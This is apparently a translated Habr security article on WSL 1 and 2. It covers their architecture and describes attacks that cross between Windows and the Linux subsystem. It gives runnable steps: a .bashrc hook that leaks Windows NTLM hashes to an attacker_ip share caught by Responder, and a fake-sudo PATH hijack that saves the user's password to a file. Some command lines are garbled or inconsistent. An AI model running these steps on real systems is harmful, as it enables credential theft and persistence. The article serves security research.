Ciao, habr! A ottobre OTUS lancia un nuovo ciclo del corso . In previsione dell'inizio del corso, condividiamo con voi un articolo scritto da uno dei nostri insegnanti — Alexander Kolesnikov.
Nel 2016, Microsoft ha presentato alla comunità IT una nuova tecnologia WSL (Windows Subsystem for LLinux), in prospettiva ha permesso di unire concorrenti un tempo in conflitto, che si contendevano la popolarità sia tra gli utenti comuni che tra quelli avanzati del sistema operativo: Windows e Linux. Questa tecnologia ha reso possibile utilizzare strumenti del sistema operativo Linux in un ambiente Windows senza la necessità di avviare Linux, ad esempio, tramite il multi-boot. Su Habr puoi trovare un gran numero di articoli che descrivono i vantaggi dell'uso di WSL. Tuttavia, sfortunatamente, al momento della scrittura di questo articolo non sono state trovate ricerche sulla sicurezza di tale connubio tra i sistemi operativi. Questo post sarà un tentativo di rimediare a questo. L'articolo tratterà delle peculiarità delle architetture WSL 1 e 2, analizzando alcuni esempi di attacchi a sistemi che utilizzano queste tecnologie. L'articolo è diviso in due parti. Nella prima verranno presentati i principali metodi teorici di attacco da parte di Linux e Windows. Il secondo articolo includerà la configurazione dell'ambiente di test e la riproduzione degli attacchi.
WSL 1: caratteristiche dell'architettura
Per un'immersione più accurata nelle problematiche di sicurezza di WSL, è fondamentale identificare le principali peculiarità legate all'implementazione della sottosistema. Uno dei principali compiti degli utenti, risolto da WSL, è quello di fornire la possibilità di lavorare tramite il terminale dei sistemi Linux su un host con sistema operativo Windows. Inoltre, la compatibilità proposta era così nativa che i file eseguibili Linux (ELF) potevano essere avviati direttamente nel sistema Windows. Per raggiungere questi obiettivi, in Windows 10 è stata creata una speciale sottosistema che consente di eseguire applicazioni Linux tramite un insieme di specifiche chiamate di sistema — in questo modo, è stata compiuta un'operazione di mappatura delle syscall Linux su Windows. Fisicamente, ciò è stato realizzato attraverso l'aggiunta di nuovi driver e di un nuovo formato di processo. Visivamente, l'architettura appariva in questo modo:
In sostanza, l'interazione con il sistema operativo Linux è stata organizzata tramite diversi moduli kernel e un particolare tipo di processi — pico. Dallo schema sopra, è evidente che il processo eseguito in un'istanza Linux sull'host deve essere nativo e deve utilizzare le stesse risorse delle normali applicazioni Windows. Ma come è possibile raggiungere questo obiettivo? Nel progetto sono stati sviluppati concetti di processi per Windows, che fornivano tutti i componenti necessari del sistema operativo (a seconda della sua versione) per eseguire un'applicazione di un altro OS.
È interessante notare che l'astrazione proposta consentiva di non fare riferimento al sistema operativo (in particolare — Windows), in cui ci si aspetta che venga eseguito il processo di un altro OS, e suggeriva un approccio generale.
Pertanto, qualsiasi applicazione all'interno del processo pico potrebbe funzionare senza fare affidamento sul kernel di Windows:
- I problemi di compatibilità e la traduzione delle chiamate di sistema devono essere affrontati da fornitori specializzati;
- L'accesso deve essere controllato tramite il Monitor di Sicurezza. Il Monitor è situato nel kernel e quindi era necessario un aggiornamento di Windows con un nuovo driver, in grado di fungere da provider per tali processi. Il prototipo del processo pico è schematicamente rappresentato di seguito:
Poiché il file system Linux utilizza nomi di file e directory case-sensitive, in Windows sono state aggiunte 2 tipologie di file system per lavorare con WSL — VolFS e DriveFS. VolFS è un'implementazione del file system Linux, mentre DriveFS è un file system che opera secondo le regole di Windows, ma ha la possibilità di scegliere la sensibilità al maiuscolo e minuscolo dei nomi.
WSL 2
WSL 1 aveva diverse limitazioni che impedivano di utilizzarla per risolvere un ampio spettro di problemi: ad esempio, non era possibile eseguire applicazioni Linux a 32 bit e i driver di dispositivo non erano supportati. Per questo motivo, nel 2020 è stata introdotta WSL 2, che ha cambiato l'approccio alla costruzione della sottosistema. WSL 2 è una macchina virtuale ottimizzata che mantiene le stesse caratteristiche di consumo di risorse di WSL 1. Ora, a seconda delle esigenze degli utenti di Windows, è possibile scegliere la versione necessaria del sottosistema Linux. Per mitigare le possibili vulnerabilità, WSL 2 è stata implementata sulla base di Hyper-V in Windows 10. In questa configurazione, Windows è in grado di eseguire isolatamente il kernel del sistema operativo Linux. È importante ricordare che la versione 1 di WSL è stata presentata come una funzionalità beta, destinata a delineare la direzione evolutiva di Windows in questo ambito, pertanto il passaggio a Hyper-V era inevitabile. L'architettura finale è la seguente:
In questa versione, i nuclei dei sistemi Windows e Linux possiedono le proprie risorse e l'intersezione esiste solo nel file system, ma non si può definire completa. L'interazione tra i file system avviene tramite un'interfaccia client-server che opera secondo il protocollo 9P.
Attualmente, Microsoft offre la possibilità di passare da WSL 1 a WSL 2. Entrambe le versioni sono disponibili per l'uso.
Sicurezza di WSL
Fino ad ora, sono stati pubblicati diversi lavori che descrivono alcuni approcci per l'utilizzo di strumenti legittimi del sistema operativo per attaccare l'interazione tra le sottosistemi. Utilizzeremo i loro scenari per verificare la rilevanza degli attacchi al momento della scrittura dell'articolo. Un elenco generale degli attacchi e degli scenari di esecuzione:
1. Implementazione del file system: permessi di accesso, presenza di directory condivise/meccanismi di scambio dati.
Sono state condotte ricerche riguardo le violazioni delle regole di accesso da Linux FS->Windows FS, Windows FS->Linux FS. Le ricerche hanno dimostrato la possibilità di modificare un file specifico all'interno del sistema operativo target. Sono stati anche effettuati tentativi di sostituzione, creazione di duplicati ed eliminazione di parti dei file di sistema.
Scenario:
- A. Attacco dal sistema operativo Windows — modifica dei file nella directory /etc del sistema operativo Linux.
- B. Attacco dal sistema operativo Linux — modifica dei file nelle directory:
C:Windows,C:Program Files,C:Users
2. Implementazione dello stack di rete.
Le ricerche sono state condotte su esempi di attacchi dal sistema operativo Linux verso Windows. Sono state utilizzate particolarità del funzionamento dello stack di rete, in particolare — meccanismi di autenticazione su varie risorse.
Scenario:
- Apertura dell'accesso a una porta già occupata nel sistema Windows
- Apertura della porta in assenza dei diritti necessari
- Avvio di una reverse shell utilizzando un file elf nel sistema operativo Windows.
3. Nascondere l'avvio di processi di malware tramite il sottosistema WSL.
La ricerca si è basata su un semplice fatto: i sottosistemi di sicurezza non possono intercettare eventi in un altro core che utilizza un provider legittimo da parte del sistema operativo nel caso di WSL 1. Nel caso di WSL 2 non è possibile visualizzare gli eventi che si verificano in un core separato all'interno di una leggera macchina virtuale.
Scenario:
1) Avvio dell'applicazione per l'accesso remoto al sistema e visualizzazione degli eventi registrati.
Esperimenti WSL 1: intercettazione dell'hash (OS Windows)
Finalmente siamo arrivati alla parte pratica. Per iniziare, è necessario configurare l'ambiente per i test. Tutti gli esperimenti saranno condotti su un sistema con Windows 10 2004 installato. Come immagine del sistema operativo per WSL è stata scelta l'immagine Ubuntu 18.04. L'immagine è stata scelta casualmente e qualsiasi altra funzionerebbe altrettanto bene. Comandi per configurare l'ambiente:
Innanzitutto, è necessario avviare powershell.exe come amministratore.
Per WSL 1 è necessario eseguire i comandi:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Attivare la funzione WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Scaricare l'immagine Linux dal Microsoft Store
Dopo il riavvio dell'ambiente, possiamo eseguire il comando bash. Se tutto ha funzionato correttamente, vedrete un output simile nella console di Windows:
Utilizzeremo la distribuzione Kali Linux come macchina attaccante; tutte le macchine devono trovarsi nella stessa rete locale.
Supponiamo che abbiamo accesso non privilegiato a WSL su una macchina Windows. Proveremo a lanciare un attacco sul sistema operativo Linux eseguendo un comando da Linux. Per implementare l'attacco, utilizzeremo una semplice tecnica di autoavvio: aggiungeremo il nostro script da eseguire nell'ambiente Linux. A tal fine, dobbiamo modificare il file .bashrc.
Sulla macchina con WSL eseguiamo:
1. bash
2. Andiamo nella home directory dell'utente: cd /home/sam/
2. echo "/home/sam/.attack.sh" >> .bashrc
3. echo "icalcs.exe \\attacker_ip\\shareName\" > /dev/null 2>&1 >> .attack.sh
4. chmod u+x .attack.sh
5. exitSulla macchina Kali Linux eseguiamo:
1. Responder -I eth0 -rdvwSulla macchina Windows avviamo bash.
Aspettiamo il risultato sulla macchina Kali Linux:
Così abbiamo ottenuto gli hash degli utenti Windows tramite il sottosistema WSL, eseguendo il comando su un sistema Linux.
Esperimenti WSL 1: recupero della password dell'utente (OS Linux)
Eseguiamo un altro esperimento. Durante questa verifica completeremo il file .bashrc con alcuni comandi per ottenere la password dell'utente del sistema operativo Linux.
Avviamo bash e inseriamo i comandi:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt" >> .mysudo/sudo
8. echo "sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit Per completare con successo l'attacco, è necessario che l'utente Sam chiami sudo nel terminale Linux. Dopo ciò, la password dell'utente del sistema operativo Linux si troverà nel file pass.txt:
L'implementazione degli attacchi è stata fornita solo per scopi teorici.
Nella prossima parte dell'articolo si descriverà l'implementazione del protocollo 9P, si esaminerà la creazione di uno scanner per questo protocollo e si condurrà un attacco utilizzandolo.
Elenco della letteratura utilizzata
Leggi di più
Fonte: habr.com
